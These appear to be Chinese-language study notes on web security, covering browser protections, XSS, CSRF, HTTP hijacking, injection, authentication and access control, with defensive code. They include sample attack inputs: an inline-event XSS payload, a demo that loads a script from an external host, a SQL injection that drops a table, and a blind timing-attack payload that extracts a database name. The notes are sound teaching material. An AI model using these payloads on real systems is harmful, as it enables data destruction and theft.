參考
安全世界觀
web安全的興起
web攻擊技術經歷幾個階段
- 服務器端動態腳本的安全問題
- sql注入的出現
- xss的出現
- web攻擊思路從服務器到客戶端
安全三要素
機密性confidentiality、完整性integrity、可用性availability
設計安全方案的原則
- secure by default原則:白名單
- 縱深原則:不同層面實施安全方案,避免疏漏; 正確的地方做正確的事
- 數據與代碼分離原則(針對各種注入問題)
- 不可預測性原則:敏感數據不可預測
客戶端安全
瀏覽器安全功能
-
同源策略Same Origin Policy(SOP)
限制來自不同源的腳本或document對當前document讀取或設置某些屬性。
瀏覽器中script、img、iframe等標簽可以通過src屬性跨域加載資源,不受同源策略的限制,對于src加載的資源,瀏覽器限制JavaScript不能讀寫。
XMLHttpRequest原本也根據同源策略限制跨域請求,因此后來W3C制定了新的請求:假設從http://www.a.com/test.html
發起一個跨域的XMLHttpRequest請求到http://www.b.com/test.php
,發起的請求HTTP投必須帶上Origin
,而B站點服務器返回一個HTTP頭包含Access-Control-Allow-Origin: http://www.a.com
,那么這個請求就會被通過
跨域請求的訪問過程 -
瀏覽器沙盒
瀏覽器發展出多進程架構,將各個功能模塊分開,各個瀏覽器實例分開,提升了安全性。
Chrome是第一個采用多進程架構的瀏覽器,主要進程分為:瀏覽器進程、渲染進程、插件進程、擴展進程。
Chrome的架構
渲染引擎由沙盒隔離, 網頁代碼要與瀏覽器內核進程、操作系統通信,需要通過IPC channel,在其中會進行一些安全檢查。這可以讓不受信任的網頁或JavaScript代碼運行在一個受限的環境中,保護本地系統的安全。
Chrome每個標簽頁和擴展都在獨立的沙盒內運行,在提高安全性的同時,一個標簽頁面的崩潰也不會導致其他標簽頁面被關閉,但由于過于占用內存,現在已經變成有些網頁公用一個進程,它們和服務器保持共同的會話。 惡意網站攔截
瀏覽器周期性從從服務器獲取惡意網站的黑名單,如果用戶訪問就彈出警告框-
Content Security Policy(CSP)
Firefox4推出Content Security Policy(CSP),后來被其他瀏覽器支持。
CSP的做法是,由服務器端返回一個Content-Security-Policy的HTTP頭,在其中描述頁面應該遵守的安全策略,讓瀏覽器不再盲目信任服務器發送的所有內容,并且能讓瀏覽器只執行或者渲染來自這些源的內容。
源的策略包括:-
script-src
控制了頁面的腳本權限集合 -
connect-src
限制了可以連接到的源(通過XHR、WebSockets和EventSource) -
font-src
指定了可以提供web字體的源 -
frame-src
列出了可以作為頁面幀嵌入的源 -
img-src
定義了可以加載圖片的源 -
media-src
限制了允許發送視頻和音頻的源 -
object-src
允許控制Flash和其他插件 -
style-src
控制樣式表的源
源列表接受4個關鍵詞:
- none,不匹配任何內容
- self,值匹配當前源,不匹配其子域
- unsafe-inline,允許內聯的JavaScript和CSS
- unsafe-eval,允許eval這樣的文本到JavaScript的機制
例如:
Content-Security-Policy: default-src https://cdn.example.net; frame-src ‘none’;
如果想要從一個內容分發網絡加載所有資源,而且已知不需要幀內容由于CSP配置規則比較復雜,在頁面較多的情況下很難一個個配置,后期維護成本大,導致CSP沒有很好的推廣。
-
XSS
跨站腳本攻擊,Cross Site Script為了和CSS區分所以叫XSS。
XSS攻擊指,攻擊者往Web頁面里插入惡意html代碼,當其它用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意攻擊用戶的目的。
XSS根據效果可以分成:
- 反射型XSS:簡單把用戶輸入的數據反射給瀏覽器,例如誘使用戶點擊個惡意鏈接來達到攻擊的目的
- 存儲型XSS:把用戶輸入的數據存儲到服務器,例如黑客發表包含惡意js代碼的文章,發表后所有瀏覽文章的用戶都會在他們的瀏覽器執行這段惡意代碼
案例:
2011年,新浪微博XSS蠕蟲事件:攻擊者利用廣場的一個反射性XSS URL,自動發送微博、私信,私信內容又帶有該XSS URL,導致病毒式傳播。百度空間、twitter等SNS網站都發生過類似事件。
被動掃描 vs 主動防御
- 被動掃描:把頁面里所有元素都掃描一遍,看是否有有危險性的代碼;但由于現在ajax的使用,經常會動態修改DOM元素,即使定期掃描,XSS也可以在定時器的間隔觸發后銷毀,沒用且浪費性能。
- 主動防御:只要防御程序在其他代碼之前運行,就可以對XSS攻擊主動進行檢測和攔截。
內聯事件
例如在頁面中需要用戶輸入圖片的地址如<img src="{路徑}" />
,但攻擊者們可以通過引號提前關閉屬性,并添加一個極易觸發的內聯事件如<img src="{路徑" onload="alert('xss')}" />
。
防范思路
對于內聯事件,還是遵循DOM事件模型:”捕獲階段->目標階段->冒泡階段“,如下圖。
因此我們可以在捕獲階段進行檢測,攔截目標階段的事件的執行。
document.addEventListener('click', function(e) {
var element = e.target;
var code = element.getAttribute('onclick');
if (/xss/.test(code)) { // 攔截的策略判斷
element.onclick = null; // 攔截內聯事件,不影響冒泡
alert('攔截可疑事件: ' + code);
}
}, true);
除了onclick事件,還有其他很多內聯事件如onload、onerror等,不同瀏覽器支持的也不一樣,可以通過遍歷document對象,來獲取所有的內聯事件名。
for(var item in document) {
if (/^on./.test(item)) { // 檢測所有on*事件
document.addEventListener(item.substr(2), function(e) { // 添加監聽需要去掉on
// ... 攔截策略等
}
}
}
除了on開頭的事件外,還有一些特殊形式,其中<a href="javascript:"></a>
使用最為廣泛和常見,這種就需要單獨對待。
document.addEventListener(eventName.substr(2), function(e) {
//... 其他攔截策略
var element = e.target;
// 掃描 <a href="javascript:"> 的腳本
if (element.tagName == 'A' && element.protocol == 'javascript:') {
// ...
}
});
對于一些常用的事件如鼠標移動會非常頻繁的調用,因此有必要考慮性能方面的優化。
一般來說內聯事件在代碼運行過程中并不會改變,因此對某個元素的特定事件,掃描一次后置個標志位,之后再次執行的話檢測標志位后可以考慮是否直接跳過。
可疑模塊
XSS最簡單和常見的方法就是動態加載個站外的腳本,模擬代碼如下:
<button id="btn">創建腳本</button>
<script>
btn.onclick = function() {
var el = document.createElement('script');
el.src = 'http://www.etherdream.com/xss/out.js';
// 也可以寫成el.setAttriute('src','http://www.etherdream.com/xss/out.js');
document.body.appendChild(el);
};
</script>
防范思路
在HTML5中MutationEvent的DOMNodeInserted事件和DOM4提供的MutationObserver接口都可以檢測插入的DOM元素。
var observer = new MutationObserver(function(mutations) {
console.log('MutationObserver:', mutations);
});
observer.observe(document, {
subtree: true,
childList: true
});
document.addEventListener('DOMNodeInserted', function(e) {
console.log('DOMNodeInserted:', e);
}, true);
MutationObserver能捕捉到在它之后頁面加載的靜態元素,但它不是每次有新元素時調用,而是一次性傳一段時間內的所有元素。
而DOMNodeInserted不關心靜態元素,但能捕捉動態添加的元素,而且是在MutationObserver之前調用。
對于靜態腳本,可以通過MutationObserver來檢測和攔截,但對不同的瀏覽器攔截結果不同,在Firefox上還是會執行。
對于動態腳本,DOMNodeInserted的優先級比MutationObserver高,但也只能檢測卻無法攔截腳本的執行。
既然無法通過監測DOM元素掛載來攔截動態腳本執行,那么講檢測手段提前,對于動態創建腳本,賦予src屬性必不可少,因此我們可以通過監測屬性賦值來進行攔截。
檢測屬性賦值可以通過MutationObserver或DOMAttrModified事件,但對于先賦值再插入元素的情況來說,由于賦值時元素還沒插入,因此事件回調并不會被調用。
除了事件外還可以通過重寫Setter訪問器,在修改屬性時觸發函數調用。
var raw_setter = HTMLScriptElement.prototype.__lookupSetter__('src');
HTMLScriptElement.prototype.__defineSetter__('src', function(url) {
if (/xss/.test(url)) {
return;
}
raw_setter.call(this, url);
});
對于setAttribute來修改屬性的情況同樣需要一定的防護,通過改寫setAttribute。
// 保存原有接口
var old_setAttribute = window.Element.prototype.setAttribute;
// 重寫 setAttribute 接口
window.Element.prototype.setAttribute = function(name, value) {
// 匹配到 <script src='xxx' > 類型
if (this.tagName == 'SCRIPT' && /^src$/i.test(name)) {
// 攔截策略
if (/xss/.test(value)) {
console.log('攔截可疑setAttribute:', value);
report('攔截可疑setAttribute', value);
return;
}
}
// 調用原始接口
old_setAttribute.apply(this, arguments);
};
總結
CSRF
跨站點偽造請求,Cross-Site Request Forgery(CSRF)
攻擊可以在受害者毫不知情的情況下以受害者名義偽造請求發送給受攻擊站點,從而在未授權的情況下執行在權限保護之下的操作,具有很大的危害性。
- 用戶C打開瀏覽器,訪問受信任網站A,輸入用戶名和密碼請求登錄網站A
- 在用戶信息通過驗證后,網站A產生Cookie信息并返回給瀏覽器,此時用戶登錄網站A成功,可以正常發送請求到網站A
- 用戶未退出網站A之前,在同一瀏覽器中,打開一個標簽頁訪問網站B
- 網站B接收到用戶請求后,返回一些攻擊性代碼,并發出一個請求要求訪問第三方站點A
- 瀏覽器在接收到這些攻擊性代碼后,根據網站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網站A發出請求
- 網站A并不知道該請求其實是由B發起的,所以會根據用戶C的Cookie信息以C的權限處理該請求,導致來自網站B的惡意代碼被執行
CSRF防御
- 驗證碼
CSRF攻擊往往在用戶不知情的情況下構造網絡請求,驗證碼強制要求用戶進行交互才能完成請求,因此能遏制CSRF攻擊;但用戶體驗較差。 - Referer Check
在HTTP頭中有一個字段叫Referer,它記錄了該HTTP請求的來源地址。通過檢查Referer是否合法來判斷用戶是否被CSRF攻擊;但服務器并非什么時候都能取到Referer。 - Token
CSRF本質是所有參數都是被攻擊者可以猜測的。出于這個原因把參數加密,或使用隨機數,從而讓攻擊者無法猜測到參數值,這也是“不可預測性原則”的一個應用;但當網站同時存在XSS漏洞時,XSS可以模擬客戶端讀取token值,再構造合法請求,這過程又被稱為XSRF。
HTTP劫持
HTTP劫持大多數情況是運營商HTTP劫持,當我們使用HTTP請求請求一個網站頁面的時候,網絡運營商會在正常的數據流中插入精心設計的網絡數據報文,讓瀏覽器展示錯誤 的數據,通常是一些彈窗,宣傳性廣告或者直接顯示某網站的內容。通常網絡運營商為了盡可能地減少植入廣告對原有網站頁面的影響,通常會通過把原有網站頁面放置到一個和原頁面相同大小的 iframe 里面去,那么就可以通過這個 iframe 來隔離廣告代碼對原有頁面的影響。
// 建立白名單
var whiteList = [
'www.aaa.com',
'res.bbb.com'
];
if (self != top) {
var
// 使用 document.referrer 可以拿到跨域 iframe 父頁面的 URL
parentUrl = document.referrer,
length = whiteList.length,
i = 0;
for(; i<length; i++){
// 建立白名單正則
var reg = new RegExp(whiteList[i],'i');
// 存在白名單中,放行
if(reg.test(parentUrl)){
return;
}
}
// 我們的正常頁面
var url = location.href;
// 父級頁面重定向
top.location = url;
}
雖然重定向了父頁面,但是在重定向的過程中,既然第一次可以嵌套,那么這一次重定向的過程中頁面也許又被 iframe 嵌套了。
這種劫持通常也是有跡可循,最常規的手段是在頁面 URL 中設置一個參數,例如 http://www.example.com/index.html?iframe_hijack_redirected=1 ,其中 iframe_hijack_redirected=1
表示頁面已經被劫持過了,就不再嵌套 iframe 了。所以根據這個特性,我們可以改寫我們的 URL ,使之看上去已經被劫持了
var flag = 'iframe_hijack_redirected';
// 當前頁面存在于一個 iframe 中
// 此處需要建立一個白名單匹配規則,白名單默認放行
if (self != top) {
var
// 使用 document.referrer 可以拿到跨域 iframe 父頁面的 URL
parentUrl = document.referrer,
length = whiteList.length,
i = 0;
for(; i<length; i++){
// 建立白名單正則
var reg = new RegExp(whiteList[i],'i');
// 存在白名單中,放行
if(reg.test(parentUrl)){
return;
}
}
var url = location.href;
var parts = url.split('#');
if (location.search) {
parts[0] += '&' + flag + '=1';
} else {
parts[0] += '?' + flag + '=1';
}
try {
console.log('頁面被嵌入iframe中:', url);
top.location.href = parts.join('#');
} catch (e) {}
}
HTML5安全
新標簽的XSS
HTML5定義了很多新標簽和新事件,可能帶來新的XSS攻擊,比如video、audio。
iframe的sandbox
HTML5中iframe有個新的屬性sandbox,使用這個屬性后iframe加載的內容被視為一個獨立的源,其中的腳本、表單、插件和指向其他瀏覽對象的插件都會被禁止。
可以通過參數來更精確的控制:
- allow-same-origin: 允許將內容作為普通來源對待。如果未使用該關鍵字,嵌入的內容將被視為一個獨立的源。
- allow-top-navigation:嵌入的頁面的上下文可以導航(加載)內容到頂級的瀏覽上下文環境(browsing context)。如果未使用該關鍵字,這個操作將不可用。
- allow-forms: 允許嵌入的瀏覽上下文可以提交表單。如果該關鍵字未使用,該操作將不可用。
- allow-scripts: 允許嵌入的瀏覽上下文運行腳本(但不能window創建彈窗)。如果該關鍵字未使用,這項操作不可用。
link的noreferrer
HTML5中為<a>
標簽定義了一個新的link types:noreferrer
<a href="xxx" rel="noreferrer">test</a>
標簽指定noreferrer后,瀏覽器在請求該標簽指定的地址時將不再發送referrer,保護敏感信息和隱私。
postMessage 跨窗口傳遞消息
HTML5中制定了新的API:postMessage,允許每一個window(包括彈出窗口、iframe等)對象往其他窗口發送文本消息,而且不受同源策略限制的。
// 發送窗口
<input type="text" id="message" value="send message"/>
<button id="button">發送</button>
<iframe id="iframe" height="800" width="100%" src="./index.html"></iframe>
<script>
var win=document.getElementById("iframe").contentWindow;
document.getElementById("button").onclick=function(){
// 發送消息
win.postMessage(document.getElementById("message").value,"http://localhost:3000/");
};
</script>
// 接收窗口
<input type="text" id="inputMessage"/>
<script>
window.addEventListener("message", function(e) { // 綁定message事件,監聽其他窗口發來的消息
// 為了安全性可以添加對domain的驗證;接收窗口應該不信任接收到的消息,對其進行安全檢查
document.getElementById("inputMessage").value=e.origin+e.data;
}, false);
</script>
服務器端安全
注入攻擊
注入攻擊是web安全中最為常見的攻擊方式,XSS本質上也是一種HTML的注入攻擊。
注入攻擊有兩個條件:用戶能夠控制數據的輸入;代碼拼湊了用戶輸入的數據,把數據當做代碼執行。
例如:sql = "select * from OrdersTable where ShipCity='"+ShipCity+"'"
,其中ShipCity
是用戶輸入的內容,如果用戶輸入為Beijing'; drop table OrdersTable--
,那么實際執行的SQL語句為select * from OrdersTable where ShipCIty='Beijing'; drop table OrdersTable--'
(--為單行注釋)
如果web服務器開啟了錯誤回顯,會為攻擊者提供極大的便利,從錯誤回顯中獲取敏感信息。
盲注
即使關閉錯誤回顯,攻擊者也可以通過盲注技巧來實施SQL注入攻擊。
盲注是指服務器關閉錯誤回顯完成的注入攻擊,最常見的方法是構造簡單的條件語句,根據返回頁面是否變化來判斷sql語句是否得到執行。
例如:
應用的url為http://newspaper.com/items.php?id=2
執行的語句為select * from items where id=2
如果攻擊者構造條件語句為http://newspaper.com/items.php?id=2 and 1=2
,看到的頁面結果將是空或者錯誤頁面。
但還需要進一步判斷注入是否存在,需要再次驗證這個過程。因為在攻擊者構造異常請求時,也可能導致頁面返回不正常。所以還需要構造http://newspaper.com/items.php?id=2 and 1=1
如果頁面正常返回,則證明and執行成功,id參數存在SQL注入漏洞。
timing attack
盲注的高級技巧,根據函數事件長短的變化,判斷注入語句是否執行成功。
例如:
2011年TinKode入侵mysql.com,漏洞出現在http://mysql.com/customers/view/index.html?id=1170
,利用mysql中的benchmark函數,讓同一個函數執行若干次,使得結果返回的比平時要長。構造的攻擊參數為1170 union select if(substring(current,1,1)=char(119), benchmark(500000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl;
,這段語句是判斷數據庫名第一個字母是否為w。如果判斷為真,返回延時較長。攻擊者遍歷所有字母,直到將整個數據庫名全部驗證為止。
防御SQL注入
要防御SQL注入:
- 找到所有sql注入的漏洞
- 修補這些漏洞
防御SQL注入最有效的方法,就是使用預編譯語言,綁定變量。
例如Java中預編譯的SQL語句:
String sql = "select account_balance from user_data where user_name=?“;
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, userInput); // userInput是用戶輸入的內容
ResultSet results = ps.executeQuert();
使用預編譯的SQL語句,SQL語句的語義不會發生改變,攻擊者無法改變SQL的結構。
其他注入
XML注入
和SQL注入類似,防御方法也類似,對用戶輸入數據中包含的“語言本身的保留字符”進行轉義。
代碼注入
代碼注入往往是由一些不安全的函數或方法引起的,常見于腳本語言,最典型的的代表是eval()。
對抗代碼注入,需要禁用eval()等可以執行的函數,如果一定要使用,就要對用戶輸入的數據進行處理。
CRLF注入
CR指\r
,LF指\n
,這兩個字符用于換行,被用作不同語義之間的分隔符,因此通過CRLF字符注入,可以改變原有的語義。
例如,HTTP頭是通過\r\n
來分割的,在HTTP頭中注入兩次\r\n
,后面跟著的是HTTP Body,可以構造惡意腳本從而得以執行。
CRLF防御方案非常簡單,只需要處理好\r
、\n
兩個字符就好。
認證與會話管理
認證是為了認出用戶是誰(who am I),授權是為了決定用戶能夠做什么(what can I do)。
密碼
密碼是最常見的一種認證手段。
優點:使用成本低,認證過程簡單。
缺點:比較弱的安全方案,沒有標準的密碼策略。
密碼策略:密碼長度、密碼復雜度(大寫、小寫、數字、符號中兩種以上的組合;不要有連續性或重復的字符)、不要使用用戶公開或隱私相關的數據。
目前黑客常用的暴力破解手段是選一些弱口令,然后猜解用戶名,直到發現一個使用弱口令的賬號為止。由于用戶名是公開的,這種攻擊成本低,而效果比暴力破解密碼要好很多。
密碼保存也需要注意:密碼必須以不可逆的加密算法,或者是單向散列函數算法,加密后存儲到數據庫中,盡最大可能保證密碼私密性。例如2011年CSDN密碼泄露事件。
現在比較普遍的方法是將明文密碼經過哈希(例如MD5或SHA-1)后保存到數據庫中,在登錄時驗證用戶提交的密碼哈希值與保存在數據庫中的密碼哈希值是否一致。
目前黑客們廣泛使用破解MD5密碼的方法是彩虹表,即收集盡可能多的明文和對應的MD5值,這樣只需要查詢MD5就能找到對應的明文。這種方法表可能非常龐大,但確實有效。
為了避免密碼哈希值泄露后能通過彩虹表查出密碼明文,在計算密碼明文的哈希值時增加一個“salt”字符串,增加明文復雜度,防止彩虹表。salt應該存在服務器端配置文件中。
多因素認證
大多數網上銀行和支付平臺都會采取多因素認證,除了密碼外,手機動態口令、數字證書、支付盾、第三方證書都可以用于用戶認證,使認證過程更安全,提高攻擊門檻。
session和認證
密碼與證書等一般僅用于登陸的過程,當認證完成后,服務器創建一個新的會話,保存用戶狀態和相關信息,根據sessionID區分不同的用戶。
一般sessionID加密后保存在cookie中,因為cookie會隨著HTTP請求頭一起發送,且受到瀏覽器同源策略的保護。但cookie泄露途徑很多比如XSS攻擊,一旦sessionID在生命周期內被竊取就等同于賬戶失竊。
除了在cookie中,sessionID還可以保存在URL中作為一個請求的參數,但這種安全性非常差。
如果sessionID保存在URL中,可能有session fixation攻擊,即攻擊者獲取到一個未經認證的sessionID,將這個sessionID交給用戶認證,用戶認證完后服務器未更新這個sessionID,所以攻擊者可以用這個sessionID登陸進用戶的賬戶。解決session fixation攻擊的方法是,登陸完成后,重寫sessionID。
如果攻擊者竊取了用戶的sessionID,可以通過不停的發訪問請求,讓session一直保持活著的狀態。對抗方法過一段時間強制銷毀session,或者當客戶端發生變化時強制銷毀session。
single sign on
單點登錄,即用戶只需要登錄一次,就可以訪問所有系統。
優點:風險集中化,對用戶來說更方便;缺點:一旦被攻破后果嚴重。
訪問控制
權限操作,指某個主體對某個客體需要實施某種操作,系統對這種操作的限制。
在網絡應用中,根據訪問客體的不同,常見的訪問控制可以分為:基于URL、基于方法和基于數據。
訪問控制實際上是建立用戶與權限的對應關系,現在廣泛應用的方法是基于角色的訪問控制(Role-based Access Control),RBAC事先會在系統中定義不同的角色,不同的角色擁有不同的權限,所有用戶會被分配到不同的角色,一個用戶可以擁有多個角色。在系統驗證權限時,只需要驗證用戶所屬的角色,就可以根據角色所擁有的權限進行授權了。